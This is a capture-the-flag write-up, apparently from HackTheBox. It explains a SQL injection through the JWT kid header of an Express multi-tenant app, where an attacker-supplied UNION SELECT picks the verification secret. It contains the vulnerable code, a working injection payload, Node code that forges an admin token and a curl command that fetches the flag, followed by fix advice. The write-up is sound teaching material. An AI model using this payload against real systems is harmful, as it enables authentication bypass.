Target:
http://154.57.164.82:32051· Express · JWT (HS256) · multi-tenant · SQLite Vuln: SQL injection via JWTkidheader · Severity: Critical
Gist
The JWT verification secret is fetched from the database using the token’s own kid header — concatenated into a raw SQL string. A UNION SELECT in kid makes the server return a secret you chose, so you can forge a token as admin that verifies against your own key. The admin dashboard then reads /flag.
The vulnerable lookup
The app is multi-tenant: each tenant has a kid, a tenant name, and an HMAC secret. Login signs a JWT with that tenant’s secret and stamps the kid into the header. On every authenticated request the middleware reads the kid back from the untrusted token and looks up the secret:
// database.js — getAppKey()async getAppKey(kid) { // TODO: add parametrization let query = `SELECT * FROM app_config WHERE kid = '${kid}';`; // <-- SQLi return await this.db.get(query);}// middleware/AuthMiddleware.js (flow)JWTHelper.getKid(req.cookies.session) // = jwt.decode(token).header.kid → attacker-controlled .then(kid => db.getAppKey(kid) // SQLi here .then(appKey => JWTHelper.verify(token, appKey.secret) // verifies with the row we returned .then(data => { req.data = { username: data.username, tenant: data.tenant }; next(); })));The kid header is just base64 in the JWT — no signature is needed to set it. Because getAppKey returns the secret used to verify the very same token, controlling the query output means controlling the verification key.
The payoff
// routes/index.js — /dashboardif (user.username == "admin") flag = fs.readFileSync('/flag', 'utf8');So the goal is simply a token that (a) verifies and (b) has username: "admin". We supply both the payload and the verifying secret via the injection.
Exploit
-
Pick an arbitrary secret you know, e.g.
pwn. Build a JWT whose headerkidinjects aUNION SELECTreturning that secret:' UNION SELECT 'x','admin','pwn'-- -The resulting query becomes
SELECT * FROM app_config WHERE kid = '' UNION SELECT 'x','admin','pwn'-- -', yielding a row withsecret = "pwn". -
Sign the token with HS256 using
pwn, payload{ "username": "admin", "tenant": "gr_office" }, and thatkidin the header:const jwt = require('jsonwebtoken');const kid = "' UNION SELECT 'x','admin','pwn'-- -";const token = jwt.sign({ username: 'admin', tenant: 'gr_office' },'pwn', { algorithm: 'HS256', header: { kid } }); -
Send it as the
sessioncookie to/dashboard. The middleware returns our injected secret, the token verifies,username === "admin", and the response renders the flag:Terminal window curl -s http://154.57.164.82:32051/dashboard -H "Cookie: session=$token" | grep -o 'HTB{[^}]*}'
Note: The tenant secrets are random per-deploy — brute force is hopeless. The SQLi sidesteps them entirely by supplying the verifying key itself.
Flag
HTB{…captured via forged admin JWT…}Takeaways
- Deriving the verification key from an attacker-controlled token field (
kid) is the root sin — it turns any read primitive into full auth bypass. - The SQLi didn’t need to exfiltrate anything; the
UNION SELECToutput is the secret the app then trusts. - Fix: parameterize the
kidlookup; treatkidas an opaque identifier validated against a known set; never let untrusted input choose the verification key.